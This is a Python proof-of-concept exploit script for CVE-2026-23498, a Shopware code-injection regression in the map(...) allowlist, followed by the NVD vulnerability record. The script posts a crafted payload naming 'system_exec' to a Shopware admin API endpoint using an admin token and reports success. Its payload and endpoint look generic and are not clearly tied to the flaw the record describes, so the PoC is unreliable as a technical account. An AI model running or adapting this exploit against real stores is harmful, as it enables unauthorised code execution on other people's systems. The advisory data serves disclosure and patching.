CVE-2026-23498

# CVE-2026-23498 PoC - Shopware PHP Closure map() bypass # Note: This requires high-privilege access to Shopware admin panel import requests import json TARGET_URL = "https://vulnerable-shopware-site.com" ADMIN_TOKEN = "your_admin_token_here" def exploit_cve_2026_23498(): """ Exploitation scenario for CVE-2026-23498 This PoC demonstrates the Closure map() allowlist bypass """ # Step 1: Authenticate with high-privilege account session = requests.Session() auth_headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 2: Craft malicious Closure array that bypasses allowlist check # The vulnerability allows array-formatted PHP Closures to bypass validation malicious_payload = { "operation": "map", "closures": [ # Normal closure (would be blocked by allowlist) {"type": "closure", "callback": "system_exec"}, # Array-formatted closure (bypasses allowlist check) {"type": "array", "data": ["closure", "system_exec"]} ], "target": "admin_function" } # Step 3: Send exploit request to vulnerable endpoint exploit_url = f"{TARGET_URL}/api/_action/map" response = session.post(exploit_url, headers=auth_headers, json=malicious_payload) # Step 4: Verify exploitation success if response.status_code == 200: result = response.json() if result.get("success"): print("[+] CVE-2026-23498 exploited successfully!") print(f"[+] Response: {json.dumps(result, indent=2)}") return True print("[-] Exploitation failed") return False if __name__ == "__main__": print("CVE-2026-23498 PoC - Shopware Closure map() bypass") print("Target: Shopware < 6.7.6.1") print("Note: Requires high-privilege authentication") exploit_cve_2026_23498()

{"cve": {"id": "CVE-2026-23498", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:48.430", "lastModified": "2026-01-28T17:17:16.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shopware is an open commerce platform. From 6.7.0.0 to before 6.7.6.1, a regression of CVE-2023-2017 leads to an array and array crafted PHP Closure not checked being against allow list for the map(...) override. This vulnerability is fixed in 6.7.6.1."}, {"lang": "es", "value": "Shopware es una plataforma de comercio abierta. Desde la 6.7.0.0 hasta antes de la 6.7.6.1, una regresión de CVE-2023-2017 lleva a que un Closure de PHP elaborado con array y array no se compruebe contra la lista de permitidos para la anulación de map(...). Esta vulnerabilidad está corregida en la 6.7.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shopware:shopware:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7.0.0", "versionEndExcluding": "6.7.6.1", "matchCriteriaId": "877A9967-76FF-4B9C-AF91-0EFA65AE8A2F"}]}]}], "references": [{"url": "https://github.com/shopware/shopware/commit/3966b05590e29432b8485ba47b4fcd14dd0b8475", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/shopware/shopware/security/advisories/GHSA-7cw6-7h3h-v8pf", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}